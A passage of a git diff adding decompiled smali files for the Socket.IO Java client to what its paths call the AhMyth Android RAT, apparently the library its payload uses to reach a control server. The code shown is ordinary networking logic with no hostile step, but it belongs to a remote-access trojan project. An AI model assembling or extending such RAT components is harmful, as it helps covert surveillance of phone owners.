+ invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v1
+
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Socket$1;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ .line 77
+ const-string v0, "ping"
+
+ invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v1
+
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Socket$1;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ .line 78
+ const-string v0, "pong"
+
+ invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v1
+
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Socket$1;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ .line 79
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$2$1.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$2$1.smali
new file mode 100644
index 00000000..91a29495
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$2$1.smali
@@ -0,0 +1,55 @@
+.class Lio/socket/client/Socket$2$1;
+.super Ljava/lang/Object;
+.source "Socket.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lio/socket/client/Socket$2;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$1:Lio/socket/client/Socket$2;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Socket$2;)V
+ .locals 0
+ .param p1, "this$1" # Lio/socket/client/Socket$2;
+
+ .prologue
+ .line 102
+ iput-object p1, p0, Lio/socket/client/Socket$2$1;->this$1:Lio/socket/client/Socket$2;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 1
+ .param p1, "args" # [Ljava/lang/Object;
+
+ .prologue
+ .line 105
+ iget-object v0, p0, Lio/socket/client/Socket$2$1;->this$1:Lio/socket/client/Socket$2;
+
+ iget-object v0, v0, Lio/socket/client/Socket$2;->this$0:Lio/socket/client/Socket;
+
+ # invokes: Lio/socket/client/Socket;->onopen()V
+ invoke-static {v0}, Lio/socket/client/Socket;->access$000(Lio/socket/client/Socket;)V
+
+ .line 106
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$2$2.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$2$2.smali
new file mode 100644
index 00000000..cafd7a39
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$2$2.smali
@@ -0,0 +1,61 @@
+.class Lio/socket/client/Socket$2$2;
+.super Ljava/lang/Object;
+.source "Socket.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lio/socket/client/Socket$2;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$1:Lio/socket/client/Socket$2;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Socket$2;)V
+ .locals 0
+ .param p1, "this$1" # Lio/socket/client/Socket$2;
+
+ .prologue
+ .line 108
+ iput-object p1, p0, Lio/socket/client/Socket$2$2;->this$1:Lio/socket/client/Socket$2;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "args" # [Ljava/lang/Object;
+
+ .prologue
+ .line 111
+ iget-object v0, p0, Lio/socket/client/Socket$2$2;->this$1:Lio/socket/client/Socket$2;
+
+ iget-object v1, v0, Lio/socket/client/Socket$2;->this$0:Lio/socket/client/Socket;
+
+ const/4 v0, 0x0
+
+ aget-object v0, p1, v0
+
+ check-cast v0, Lio/socket/parser/Packet;
+
+ # invokes: Lio/socket/client/Socket;->onpacket(Lio/socket/parser/Packet;)V
+ invoke-static {v1, v0}, Lio/socket/client/Socket;->access$100(Lio/socket/client/Socket;Lio/socket/parser/Packet;)V
+
+ .line 112
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$2$3.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$2$3.smali
new file mode 100644
index 00000000..cf024bed
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$2$3.smali
@@ -0,0 +1,72 @@
+.class Lio/socket/client/Socket$2$3;
+.super Ljava/lang/Object;
+.source "Socket.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lio/socket/client/Socket$2;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$1:Lio/socket/client/Socket$2;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Socket$2;)V
+ .locals 0
+ .param p1, "this$1" # Lio/socket/client/Socket$2;
+
+ .prologue
+ .line 114
+ iput-object p1, p0, Lio/socket/client/Socket$2$3;->this$1:Lio/socket/client/Socket$2;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "args" # [Ljava/lang/Object;
+
+ .prologue
+ .line 117
+ iget-object v0, p0, Lio/socket/client/Socket$2$3;->this$1:Lio/socket/client/Socket$2;
+
+ iget-object v1, v0, Lio/socket/client/Socket$2;->this$0:Lio/socket/client/Socket;
+
+ array-length v0, p1
+
+ if-lez v0, :cond_0
+
+ const/4 v0, 0x0
+
+ aget-object v0, p1, v0
+
+ check-cast v0, Ljava/lang/String;
+
+ :goto_0
+ # invokes: Lio/socket/client/Socket;->onclose(Ljava/lang/String;)V
+ invoke-static {v1, v0}, Lio/socket/client/Socket;->access$200(Lio/socket/client/Socket;Ljava/lang/String;)V
+
+ .line 118
+ return-void
+
+ .line 117
+ :cond_0
+ const/4 v0, 0x0
+
+ goto :goto_0
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$2.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$2.smali
new file mode 100644
index 00000000..d38cced8
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$2.smali
@@ -0,0 +1,92 @@
+.class Lio/socket/client/Socket$2;
+.super Ljava/util/LinkedList;
+.source "Socket.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Socket;->subEvents()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+.annotation system Ldalvik/annotation/Signature;
+ value = {
+ "Ljava/util/LinkedList",
+ "<",
+ "Lio/socket/client/On$Handle;",
+ ">;"
+ }
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Socket;
+
+.field final synthetic val$io:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Socket;Lio/socket/client/Manager;)V
+ .locals 3
+ .param p1, "this$0" # Lio/socket/client/Socket;
+
+ .prologue
+ .line 101
+ iput-object p1, p0, Lio/socket/client/Socket$2;->this$0:Lio/socket/client/Socket;
+
+ iput-object p2, p0, Lio/socket/client/Socket$2;->val$io:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/util/LinkedList;->()V
+
+ .line 102
+ iget-object v0, p0, Lio/socket/client/Socket$2;->val$io:Lio/socket/client/Manager;
+
+ const-string v1, "open"
+
+ new-instance v2, Lio/socket/client/Socket$2$1;
+
+ invoke-direct {v2, p0}, Lio/socket/client/Socket$2$1;->(Lio/socket/client/Socket$2;)V
+
+ invoke-static {v0, v1, v2}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v0
+
+ invoke-virtual {p0, v0}, Lio/socket/client/Socket$2;->add(Ljava/lang/Object;)Z
+
+ .line 108
+ iget-object v0, p0, Lio/socket/client/Socket$2;->val$io:Lio/socket/client/Manager;
+
+ const-string v1, "packet"
+
+ new-instance v2, Lio/socket/client/Socket$2$2;
+
+ invoke-direct {v2, p0}, Lio/socket/client/Socket$2$2;->(Lio/socket/client/Socket$2;)V
+
+ invoke-static {v0, v1, v2}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v0
+
+ invoke-virtual {p0, v0}, Lio/socket/client/Socket$2;->add(Ljava/lang/Object;)Z
+
+ .line 114
+ iget-object v0, p0, Lio/socket/client/Socket$2;->val$io:Lio/socket/client/Manager;
+
+ const-string v1, "close"
+
+ new-instance v2, Lio/socket/client/Socket$2$3;
+
+ invoke-direct {v2, p0}, Lio/socket/client/Socket$2$3;->(Lio/socket/client/Socket$2;)V
+
+ invoke-static {v0, v1, v2}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v0
+
+ invoke-virtual {p0, v0}, Lio/socket/client/Socket$2;->add(Ljava/lang/Object;)Z
+
+ .line 120
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$3.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$3.smali
new file mode 100644
index 00000000..3208e280
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$3.smali
@@ -0,0 +1,107 @@
+.class Lio/socket/client/Socket$3;
+.super Ljava/lang/Object;
+.source "Socket.java"
+
+# interfaces
+.implements Ljava/lang/Runnable;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Socket;->open()Lio/socket/client/Socket;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Socket;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Socket;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Socket;
+
+ .prologue
+ .line 127
+ iput-object p1, p0, Lio/socket/client/Socket$3;->this$0:Lio/socket/client/Socket;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+ .locals 3
+
+ .prologue
+ .line 130
+ iget-object v0, p0, Lio/socket/client/Socket$3;->this$0:Lio/socket/client/Socket;
+
+ # getter for: Lio/socket/client/Socket;->connected:Z
+ invoke-static {v0}, Lio/socket/client/Socket;->access$300(Lio/socket/client/Socket;)Z
+
+ move-result v0
+
+ if-eqz v0, :cond_0
+
+ .line 136
+ :goto_0
+ return-void
+
+ .line 132
+ :cond_0
+ iget-object v0, p0, Lio/socket/client/Socket$3;->this$0:Lio/socket/client/Socket;
+
+ # invokes: Lio/socket/client/Socket;->subEvents()V
+ invoke-static {v0}, Lio/socket/client/Socket;->access$400(Lio/socket/client/Socket;)V
+
+ .line 133
+ iget-object v0, p0, Lio/socket/client/Socket$3;->this$0:Lio/socket/client/Socket;
+
+ # getter for: Lio/socket/client/Socket;->io:Lio/socket/client/Manager;
+ invoke-static {v0}, Lio/socket/client/Socket;->access$500(Lio/socket/client/Socket;)Lio/socket/client/Manager;
+
+ move-result-object v0
+
+ invoke-virtual {v0}, Lio/socket/client/Manager;->open()Lio/socket/client/Manager;
+
+ .line 134
+ sget-object v0, Lio/socket/client/Manager$ReadyState;->OPEN:Lio/socket/client/Manager$ReadyState;
+
+ iget-object v1, p0, Lio/socket/client/Socket$3;->this$0:Lio/socket/client/Socket;
+
+ # getter for: Lio/socket/client/Socket;->io:Lio/socket/client/Manager;
+ invoke-static {v1}, Lio/socket/client/Socket;->access$500(Lio/socket/client/Socket;)Lio/socket/client/Manager;
+
+ move-result-object v1
+
+ iget-object v1, v1, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ if-ne v0, v1, :cond_1
+
+ iget-object v0, p0, Lio/socket/client/Socket$3;->this$0:Lio/socket/client/Socket;
+
+ # invokes: Lio/socket/client/Socket;->onopen()V
+ invoke-static {v0}, Lio/socket/client/Socket;->access$000(Lio/socket/client/Socket;)V
+
+ .line 135
+ :cond_1
+ iget-object v0, p0, Lio/socket/client/Socket$3;->this$0:Lio/socket/client/Socket;
+
+ const-string v1, "connecting"
+
+ const/4 v2, 0x0
+
+ new-array v2, v2, [Ljava/lang/Object;
+
+ invoke-virtual {v0, v1, v2}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ goto :goto_0
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$4.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$4.smali
new file mode 100644
index 00000000..79e545ae
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$4.smali
@@ -0,0 +1,59 @@
+.class Lio/socket/client/Socket$4;
+.super Ljava/lang/Object;
+.source "Socket.java"
+
+# interfaces
+.implements Ljava/lang/Runnable;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Socket;->send([Ljava/lang/Object;)Lio/socket/client/Socket;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Socket;
+
+.field final synthetic val$args:[Ljava/lang/Object;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Socket;[Ljava/lang/Object;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Socket;
+
+ .prologue
+ .line 155
+ iput-object p1, p0, Lio/socket/client/Socket$4;->this$0:Lio/socket/client/Socket;
+
+ iput-object p2, p0, Lio/socket/client/Socket$4;->val$args:[Ljava/lang/Object;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+ .locals 3
+
+ .prologue
+ .line 158
+ iget-object v0, p0, Lio/socket/client/Socket$4;->this$0:Lio/socket/client/Socket;
+
+ const-string v1, "message"
+
+ iget-object v2, p0, Lio/socket/client/Socket$4;->val$args:[Ljava/lang/Object;
+
+ invoke-virtual {v0, v1, v2}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 159
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$5.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$5.smali
new file mode 100644
index 00000000..308ce431
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$5.smali
@@ -0,0 +1,298 @@
+.class Lio/socket/client/Socket$5;
+.super Ljava/lang/Object;
+.source "Socket.java"
+
+# interfaces
+.implements Ljava/lang/Runnable;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Socket;
+
+.field final synthetic val$args:[Ljava/lang/Object;
+
+.field final synthetic val$event:Ljava/lang/String;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Socket;Ljava/lang/String;[Ljava/lang/Object;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Socket;
+
+ .prologue
+ .line 173
+ iput-object p1, p0, Lio/socket/client/Socket$5;->this$0:Lio/socket/client/Socket;
+
+ iput-object p2, p0, Lio/socket/client/Socket$5;->val$event:Ljava/lang/String;
+
+ iput-object p3, p0, Lio/socket/client/Socket$5;->val$args:[Ljava/lang/Object;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+ .locals 10
+
+ .prologue
+ .line 176
+ sget-object v5, Lio/socket/client/Socket;->events:Ljava/util/Map;
+
+ iget-object v6, p0, Lio/socket/client/Socket$5;->val$event:Ljava/lang/String;
+
+ invoke-interface {v5, v6}, Ljava/util/Map;->containsKey(Ljava/lang/Object;)Z
+
+ move-result v5
+
+ if-eqz v5, :cond_0
+
+ .line 177
+ iget-object v5, p0, Lio/socket/client/Socket$5;->this$0:Lio/socket/client/Socket;
+
+ iget-object v6, p0, Lio/socket/client/Socket$5;->val$event:Ljava/lang/String;
+
+ iget-object v7, p0, Lio/socket/client/Socket$5;->val$args:[Ljava/lang/Object;
+
+ # invokes: Lio/socket/emitter/Emitter;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+ invoke-static {v5, v6, v7}, Lio/socket/client/Socket;->access$601(Lio/socket/client/Socket;Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 205
+ :goto_0
+ return-void
+
+ .line 181
+ :cond_0
+ new-instance v0, Ljava/util/ArrayList;
+
+ iget-object v5, p0, Lio/socket/client/Socket$5;->val$args:[Ljava/lang/Object;
+
+ array-length v5, v5
+
+ add-int/lit8 v5, v5, 0x1
+
+ invoke-direct {v0, v5}, Ljava/util/ArrayList;->(I)V
+
+ .line 182
+ .local v0, "_args":Ljava/util/List;, "Ljava/util/List;"
+ iget-object v5, p0, Lio/socket/client/Socket$5;->val$event:Ljava/lang/String;
+
+ invoke-interface {v0, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z
+
+ .line 183
+ iget-object v5, p0, Lio/socket/client/Socket$5;->val$args:[Ljava/lang/Object;
+
+ invoke-static {v5}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List;
+
+ move-result-object v5
+
+ invoke-interface {v0, v5}, Ljava/util/List;->addAll(Ljava/util/Collection;)Z
+
+ .line 185
+ new-instance v2, Lorg/json/JSONArray;
+
+ invoke-direct {v2}, Lorg/json/JSONArray;->()V
+
+ .line 186
+ .local v2, "jsonArgs":Lorg/json/JSONArray;
+ invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
+
+ move-result-object v5
+
+ :goto_1
+ invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z
+
+ move-result v6
+
+ if-eqz v6, :cond_1
+
+ invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object;
+
+ move-result-object v1
+
+ .line 187
+ .local v1, "arg":Ljava/lang/Object;
+ invoke-virtual {v2, v1}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+
+ goto :goto_1
+
+ .line 189
+ .end local v1 # "arg":Ljava/lang/Object;
+ :cond_1
+ invoke-static {v2}, Lio/socket/hasbinary/HasBinary;->hasBinary(Ljava/lang/Object;)Z
+
+ move-result v5
+
+ if-eqz v5, :cond_3
+
+ const/4 v4, 0x5
+
+ .line 190
+ .local v4, "parserType":I
+ :goto_2
+ new-instance v3, Lio/socket/parser/Packet;
+
+ invoke-direct {v3, v4, v2}, Lio/socket/parser/Packet;->(ILjava/lang/Object;)V
+
+ .line 192
+ .local v3, "packet":Lio/socket/parser/Packet;, "Lio/socket/parser/Packet;"
+ invoke-interface {v0}, Ljava/util/List;->size()I
+
+ move-result v5
+
+ add-int/lit8 v5, v5, -0x1
+
+ invoke-interface {v0, v5}, Ljava/util/List;->get(I)Ljava/lang/Object;
+
+ move-result-object v5
+
+ instance-of v5, v5, Lio/socket/client/Ack;
+
+ if-eqz v5, :cond_2
+
+ .line 193
+ # getter for: Lio/socket/client/Socket;->logger:Ljava/util/logging/Logger;
+ invoke-static {}, Lio/socket/client/Socket;->access$800()Ljava/util/logging/Logger;
+
+ move-result-object v5
+
+ const-string v6, "emitting packet with ack id %d"
+
+ const/4 v7, 0x1
+
+ new-array v7, v7, [Ljava/lang/Object;
+
+ const/4 v8, 0x0
+
+ iget-object v9, p0, Lio/socket/client/Socket$5;->this$0:Lio/socket/client/Socket;
+
+ # getter for: Lio/socket/client/Socket;->ids:I
+ invoke-static {v9}, Lio/socket/client/Socket;->access$700(Lio/socket/client/Socket;)I
+
+ move-result v9
+
+ invoke-static {v9}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v9
+
+ aput-object v9, v7, v8
+
+ invoke-static {v6, v7}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v6
+
+ invoke-virtual {v5, v6}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 194
+ iget-object v5, p0, Lio/socket/client/Socket$5;->this$0:Lio/socket/client/Socket;
+
+ # getter for: Lio/socket/client/Socket;->acks:Ljava/util/Map;
+ invoke-static {v5}, Lio/socket/client/Socket;->access$900(Lio/socket/client/Socket;)Ljava/util/Map;
+
+ move-result-object v6
+
+ iget-object v5, p0, Lio/socket/client/Socket$5;->this$0:Lio/socket/client/Socket;
+
+ # getter for: Lio/socket/client/Socket;->ids:I
+ invoke-static {v5}, Lio/socket/client/Socket;->access$700(Lio/socket/client/Socket;)I
+
+ move-result v5
+
+ invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v7
+
+ invoke-interface {v0}, Ljava/util/List;->size()I
+
+ move-result v5
+
+ add-int/lit8 v5, v5, -0x1
+
+ invoke-interface {v0, v5}, Ljava/util/List;->remove(I)Ljava/lang/Object;
+
+ move-result-object v5
+
+ check-cast v5, Lio/socket/client/Ack;
+
+ invoke-interface {v6, v7, v5}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ .line 195
+ invoke-virtual {v2}, Lorg/json/JSONArray;->length()I
+
+ move-result v5
+
+ add-int/lit8 v5, v5, -0x1
+
+ # invokes: Lio/socket/client/Socket;->remove(Lorg/json/JSONArray;I)Lorg/json/JSONArray;
+ invoke-static {v2, v5}, Lio/socket/client/Socket;->access$1000(Lorg/json/JSONArray;I)Lorg/json/JSONArray;
+
+ move-result-object v2
+
+ .line 196
+ iput-object v2, v3, Lio/socket/parser/Packet;->data:Ljava/lang/Object;
+
+ .line 197
+ iget-object v5, p0, Lio/socket/client/Socket$5;->this$0:Lio/socket/client/Socket;
+
+ # operator++ for: Lio/socket/client/Socket;->ids:I
+ invoke-static {v5}, Lio/socket/client/Socket;->access$708(Lio/socket/client/Socket;)I
+
+ move-result v5
+
+ iput v5, v3, Lio/socket/parser/Packet;->id:I
+
+ .line 200
+ :cond_2
+ iget-object v5, p0, Lio/socket/client/Socket$5;->this$0:Lio/socket/client/Socket;
+
+ # getter for: Lio/socket/client/Socket;->connected:Z
+ invoke-static {v5}, Lio/socket/client/Socket;->access$300(Lio/socket/client/Socket;)Z
+
+ move-result v5
+
+ if-eqz v5, :cond_4
+
+ .line 201
+ iget-object v5, p0, Lio/socket/client/Socket$5;->this$0:Lio/socket/client/Socket;
+
+ # invokes: Lio/socket/client/Socket;->packet(Lio/socket/parser/Packet;)V
+ invoke-static {v5, v3}, Lio/socket/client/Socket;->access$1100(Lio/socket/client/Socket;Lio/socket/parser/Packet;)V
+
+ goto/16 :goto_0
+
+ .line 189
+ .end local v3 # "packet":Lio/socket/parser/Packet;, "Lio/socket/parser/Packet;"
+ .end local v4 # "parserType":I
+ :cond_3
+ const/4 v4, 0x2
+
+ goto :goto_2
+
+ .line 203
+ .restart local v3 # "packet":Lio/socket/parser/Packet;, "Lio/socket/parser/Packet;"
+ .restart local v4 # "parserType":I
+ :cond_4
+ iget-object v5, p0, Lio/socket/client/Socket$5;->this$0:Lio/socket/client/Socket;
+
+ # getter for: Lio/socket/client/Socket;->sendBuffer:Ljava/util/Queue;
+ invoke-static {v5}, Lio/socket/client/Socket;->access$1200(Lio/socket/client/Socket;)Ljava/util/Queue;
+
+ move-result-object v5
+
+ invoke-interface {v5, v3}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ goto/16 :goto_0
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$6$1.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$6$1.smali
new file mode 100644
index 00000000..03c57ecd
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$6$1.smali
@@ -0,0 +1,69 @@
+.class Lio/socket/client/Socket$6$1;
+.super Ljava/util/ArrayList;
+.source "Socket.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Socket$6;->run()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+.annotation system Ldalvik/annotation/Signature;
+ value = {
+ "Ljava/util/ArrayList",
+ "<",
+ "Ljava/lang/Object;",
+ ">;"
+ }
+.end annotation
+
+
+# instance fields
+.field final synthetic this$1:Lio/socket/client/Socket$6;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Socket$6;)V
+ .locals 1
+ .param p1, "this$1" # Lio/socket/client/Socket$6;
+
+ .prologue
+ .line 238
+ iput-object p1, p0, Lio/socket/client/Socket$6$1;->this$1:Lio/socket/client/Socket$6;
+
+ invoke-direct {p0}, Ljava/util/ArrayList;->()V
+
+ .line 239
+ iget-object v0, p0, Lio/socket/client/Socket$6$1;->this$1:Lio/socket/client/Socket$6;
+
+ iget-object v0, v0, Lio/socket/client/Socket$6;->val$event:Ljava/lang/String;
+
+ invoke-virtual {p0, v0}, Lio/socket/client/Socket$6$1;->add(Ljava/lang/Object;)Z
+
+ .line 240
+ iget-object v0, p0, Lio/socket/client/Socket$6$1;->this$1:Lio/socket/client/Socket$6;
+
+ iget-object v0, v0, Lio/socket/client/Socket$6;->val$args:[Ljava/lang/Object;
+
+ if-eqz v0, :cond_0
+
+ .line 241
+ iget-object v0, p0, Lio/socket/client/Socket$6$1;->this$1:Lio/socket/client/Socket$6;
+
+ iget-object v0, v0, Lio/socket/client/Socket$6;->val$args:[Ljava/lang/Object;
+
+ invoke-static {v0}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List;
+
+ move-result-object v0
+
+ invoke-virtual {p0, v0}, Lio/socket/client/Socket$6$1;->addAll(Ljava/util/Collection;)Z
+
+ .line 243
+ :cond_0
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$6.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$6.smali
new file mode 100644
index 00000000..d4169d79
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$6.smali
@@ -0,0 +1,191 @@
+.class Lio/socket/client/Socket$6;
+.super Ljava/lang/Object;
+.source "Socket.java"
+
+# interfaces
+.implements Ljava/lang/Runnable;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;Lio/socket/client/Ack;)Lio/socket/emitter/Emitter;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Socket;
+
+.field final synthetic val$ack:Lio/socket/client/Ack;
+
+.field final synthetic val$args:[Ljava/lang/Object;
+
+.field final synthetic val$event:Ljava/lang/String;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Socket;Ljava/lang/String;[Ljava/lang/Object;Lio/socket/client/Ack;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Socket;
+
+ .prologue
+ .line 235
+ iput-object p1, p0, Lio/socket/client/Socket$6;->this$0:Lio/socket/client/Socket;
+
+ iput-object p2, p0, Lio/socket/client/Socket$6;->val$event:Ljava/lang/String;
+
